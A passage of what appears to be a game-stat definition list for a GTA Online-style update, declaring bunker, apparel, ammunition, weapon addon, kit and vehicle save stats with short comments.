+(short)MPPLY_KNOWNDOZERPUMA8 // DD +(short)MPPLY_KNOWNDOZERPUMA9 // DD +(short)MPPLY_KNOWNDOZERSOLD0 // DD +(short)MPPLY_KNOWNDOZERSOLD1 // DD +(short)MPPLY_KNOWNDOZERSOLD2 // DD +(short)MPPLY_KNOWNDOZERSOLD3 // DD +(short)MPPLY_KNOWNDOZERSOLD4 // DD +(short)MPPLY_KNOWNDOZERSOLD5 // DD +(short)MPPLY_KNOWNDOZERSOLD6 // DD +(short)MPPLY_KNOWNDOZERSOLD7 // DD +(short)MPPLY_KNOWNDOZERSOLD8 // DD +(short)MPPLY_KNOWNDOZERSOLD9 // DD +(int)BUNKER_DECOR // Add MP0_ or MP1_ // Gunrunning bunker customisation +(int)BUNKER_STAFF // Add MP0_ or MP1_ // Gunrunning bunker customisation +(int)BUNKER_EQUIPMENT // Add MP0_ or MP1_ // Gunrunning bunker customisation +(int)BUNKER_SECURITY // Add MP0_ or MP1_ // Gunrunning bunker customisation +(int)BUNKER_SAVEBED // Add MP0_ or MP1_ // Gunrunning bunker customisation +(int)BUNKER_GUNLOCKER // Add MP0_ or MP1_ // Gunrunning bunker customisation +(int)BUNKER_FIRING_RANGE // Add MP0_ or MP1_ // Gunrunning bunker customisation +(int)BUNKER_TRANSPORTATION // Add MP0_ or MP1_ // Gunrunning bunker customisation +(int)SHOPFM_PERS_GUN // Add MP0_ or MP1_ // Shop stat for Gunrunning Armory. B*3360352 +(int)SR_HIGHSCORE_1 // Add MP0_ or MP1_ // Shooting Range - Highscore 1 +(int)SR_HIGHSCORE_2 // Add MP0_ or MP1_ // Shooting Range - Highscore 2 +(int)SR_HIGHSCORE_3 // Add MP0_ or MP1_ // Shooting Range - Highscore 3 +(int)SR_HIGHSCORE_4 // Add MP0_ or MP1_ // Shooting Range - Highscore 4 +(int)SR_HIGHSCORE_5 // Add MP0_ or MP1_ // Shooting Range - Highscore 5 +(int)SR_HIGHSCORE_6 // Add MP0_ or MP1_ // Shooting Range - Highscore 6 +(int)SR_TARGETS_HIT // Add MP0_ or MP1_ // Shooting Range - Targets hit +(int)SR_VS_WINS // Add MP0_ or MP1_ // Shooting Range - VS wins +(int)SR_WEAPON_BIT_SET // Add MP0_ or MP1_ // Shooting Range - Weapon bit set +(bool)SR_TIER_1_REWARD // Add MP0_ or MP1_ // Shooting Range - Tier 1 Reward +(bool)SR_TIER_3_REWARD // Add MP0_ or MP1_ // Shooting Range - Tier 3 Reward +(bool)SR_INCREASE_THROW_CAP // Add MP0_ or MP1_ // Shooting Range - Tier 2 Reward - Increase Throwing Capacity +(bool)MPPLY_DISABLEDOZERDETECT // DD +(int)INV_TRUCK_MODEL_0 // Add MP0_ or MP1_ // SA Stat for truck model +(int)DLC_APPAREL_ACQUIRED_101 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_102 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_103 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_104 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_105 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_106 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_107 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_108 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_109 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_110 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_111 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_112 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_113 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_114 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_115 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_116 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_117 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_118 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_119 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_120 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_121 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_122 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_123 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)DLC_APPAREL_USED_101 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_102 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_103 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_104 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_105 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_106 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_107 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_108 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_109 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_110 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_111 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_112 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_113 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_114 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_115 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_116 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_117 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_118 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_119 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_120 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_121 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_122 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_123 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)FACTORYSLOT5 // Add MP0_ or MP1_ // Owned factory slot 5 +(int)PRODTOTALFORFACTORY5 // Add MP0_ or MP1_ // Product total for factory slot 5 +(int)RESEARCHTOTALFORFACTORY5 // Add MP0_ or MP1_ // Research total for factory slot 5 +(int)MATTOTALFORFACTORY5 // Add MP0_ or MP1_ // Materials total for factory slot 5 +(int)PAYRESUPPLYTIMER5 // Add MP0_ or MP1_ // Timers for factory laptop +(int)FACTORYSETUP5 // Add MP0_ or MP1_ // Factory setup complete for slot 5 +(int)MISSIONFORFACTORY5 // Add MP0_ or MP1_ // Mission stat for factory slot 5 + +(int)BKR_PROD_STOP_COUT_S1_5 // Add MP0_ or MP1_ // Sell missions +(int)BKR_PROD_STOP_COUT_S2_5 // Add MP0_ or MP1_ // Sell missions +(int)BKR_PROD_STOP_COUT_S3_5 // Add MP0_ or MP1_ // Sell missions + +(int)LFETIME_BIKER_BUY_COMPLET5 // Add MP0_ or MP1_ // track lifetime mission progress slot 5 +(int)LFETIME_BIKER_BUY_UNDERTA5 // Add MP0_ or MP1_ // track lifetime mission progress slot 5 +(int)LFETIME_BIKER_SELL_COMPLET5 // Add MP0_ or MP1_ // track lifetime mission progress slot 5 +(int)LFETIME_BIKER_SELL_UNDERTA5 // Add MP0_ or MP1_ // track lifetime mission progress slot 5 +(int)LIFETIME_BKR_SEL_COMPLETBC5 // Add MP0_ or MP1_ // Sell missions slot 5 +(int)LIFETIME_BKR_SEL_UNDERTABC5 // Add MP0_ or MP1_ // Sell missions slot 5 +(int)LIFETIME_BKR_SELL_EARNINGS5 // Add MP0_ or MP1_ // Lifetime earnings 5 + +(int)BKR_DEFEND_TIMER_SLOT5 // Add MP0_ or MP1_ // Defend mission timer for slot 5 +(int)TRUCK_ACCESS // Add MP0_ or MP1_ // Truck access +(int)TRUCK_DEFENCE_SETTING // Add MP0_ or MP1_ // Truck defense exclusion setting +(int)WVM_FLOW_MISSION_PROGRESS // Add MP0_ or MP1_ // i.e. flow process +(int)WVM_FLOW_IMPEXP_NUM // Add MP0_ or MP1_ // i.e. flow process +(int)WVM_FLOW_BITSET_MISSIONS0 // Add MP0_ or MP1_ // i.e. flow process +(int)WVM_FLOW_VEHICLE_BS // Add MP0_ or MP1_ // flow tracker for discounted veh +(int)HELP_BUNK_EMAIL // Add MP0_ or MP1_ // Bunker Email count +(int)TRUCK_MOD_STAR // Add MP0_ or MP1_ // Truck Mod Star +(int)TATTOO_FM_UNLOCKS_28 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_28 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_28 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_UNLOCKS_29 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_29 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_29 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 + +(int)MPPLY_IFPUMA // DD +(int)FM_ACT_PH9 // Add MP0_ or MP1_ // Freemode activity phonecall + +(packed)DLCGUNPSTAT_BOOL0 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)DLCGUNPSTAT_BOOL1 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)DLCGUNPSTAT_BOOL2 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. + + +(int)MPSV_VEHICLE_BS_158 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_158 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_158 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_158 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_158 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_158 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_158 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was obtained + +(u64)MPSV_LP0_158 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + +(packed)GUNRPSTAT_INT0 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GUNRPSTAT_INT1 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GUNRPSTAT_INT2 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GUNRPSTAT_INT3 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GUNRPSTAT_INT4 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GUNRPSTAT_INT5 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GUNRPSTAT_INT6 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GUNRPSTAT_INT7 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GUNRPSTAT_INT8 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GUNRPSTAT_INT9 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GUNRPSTAT_INT10 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GUNRPSTAT_INT11 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GUNRPSTAT_INT12 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers + +(int)GUNR_RESEARCH_ITEM // Add MP0_ or MP1_ // Tracks current bunker research item +(int)CHAR_FM_WEAP_ADDON_8_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)WEAP_FM_ADDON_PURCH8 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_WEAP_ADDON_8_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)CHAR_FM_WEAP_ADDON_8_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 6 +(int)CHAR_FM_WEAP_ADDON_9_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)WEAP_FM_ADDON_PURCH9 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_WEAP_ADDON_9_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)CHAR_FM_WEAP_ADDON_9_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 6 +(int)CHAR_FM_WEAP_ADDON_10_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)WEAP_FM_ADDON_PURCH10 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_WEAP_ADDON_10_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)CHAR_FM_WEAP_ADDON_10_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 6 + +(int)CHAR_KIT_15_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_15_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_15_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE15 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_16_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_16_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_16_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE16 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_17_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_17_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_17_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE17 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_18_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_18_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_18_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE18 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_19_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_19_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_19_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE19 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_20_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_20_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_20_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE20 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + + +(packed)GUNTATPSTAT_BOOL0 // Add MP0_ or MP1_ // Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)GUNTATPSTAT_BOOL1 // Add MP0_ or MP1_ // Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)GUNTATPSTAT_BOOL2 // Add MP0_ or MP1_ // Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)GUNTATPSTAT_BOOL3 // Add MP0_ or MP1_ // Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)GUNTATPSTAT_BOOL4 // Add MP0_ or MP1_ // Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)GUNTATPSTAT_BOOL5 // Add MP0_ or MP1_ // Stat with Packed booleans index 0. Takes up to 64 booleans. + +(int)ASLTRIFLEARMPIERAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ASLTRIFLEFMJAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ASLTRIFLEINCENAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ASLTRIFLETRACERAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CRBNRIFLEARMPIERAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CRBNRIFLEFMJAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CRBNRIFLEINCENAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CRBNRIFLETRACERAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CMBTMGARMPIERAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CMBTMGFMJAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CMBTMGINCENAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CMBTMGTRACERAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)HVYSNIPERARMPIERAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)HVYSNIPEREXPLOSAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)HVYSNIPERFMJAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)HVYSNIPERINCENAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)PISTOLFMJAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)PISTOLHOLLOWAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)PISTOLINCENAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)PISTOLTRACERAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SMGFMJAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SMGHOLLOWAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SMGINCENAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SMGTRACERAMMOBOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ASLTRIFLEARMPIERAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ASLTRIFLEFMJAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ASLTRIFLEINCENAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ASLTRIFLETRACERAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CRBNRIFLEARMPIERAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CRBNRIFLEFMJAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CRBNRIFLEINCENAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CRBNRIFLETRACERAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CMBTMGARMPIERAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CMBTMGFMJAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CMBTMGINCENAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CMBTMGTRACERAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)HVYSNIPERARMPIERAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)HVYSNIPEREXPLOSAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)HVYSNIPERFMJAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)HVYSNIPERINCENAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)PISTOLFMJAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)PISTOLHOLLOWAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)PISTOLINCENAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)PISTOLTRACERAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SMGFMJAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SMGHOLLOWAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SMGINCENAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SMGTRACERAMMOCURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)COVOMISSION_CR // Add MP0_ or MP1_ // number of times player completed Covert Op Mission for award +(int)ADVERSARYMISSION_CR // Add MP0_ or MP1_ // number of times player completed Adversary Mission for award + +(int)CHAR_KIT_21_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_21_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_21_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE21 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_22_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_22_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_22_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE22 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_23_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_23_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_23_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE23 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_24_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_24_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_24_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE24 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_25_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_25_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_25_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE25 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_26_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_26_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_26_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE26 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_27_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_27_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_27_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE27 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)BUNKER_UNITS_MANUFAC // Add MP0_ or MP1_ // Liftime weapons manufactured + +(bool)MPPLY_RSPOLICYSHOWN // DD + +(int)CHAR_FM_WEAP_ADDON_11_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)WEAP_FM_ADDON_PURCH11 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_WEAP_ADDON_11_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)CHAR_FM_WEAP_ADDON_11_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 6 + +(int)CHAR_FM_WEAP_ADDON_12_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)WEAP_FM_ADDON_PURCH12 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_WEAP_ADDON_12_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)CHAR_FM_WEAP_ADDON_12_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 6 + +(int)CHAR_FM_WEAP_ADDON_13_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)WEAP_FM_ADDON_PURCH13 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_WEAP_ADDON_13_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)CHAR_FM_WEAP_ADDON_13_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 6 + + +(int)CHAR_FM_WEAP_ADDON_14_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)WEAP_FM_ADDON_PURCH14 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_WEAP_ADDON_14_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)CHAR_FM_WEAP_ADDON_14_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 6 + +(int)CHAR_KIT_28_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_28_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_28_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE28 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_29_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_29_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_29_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE29 // 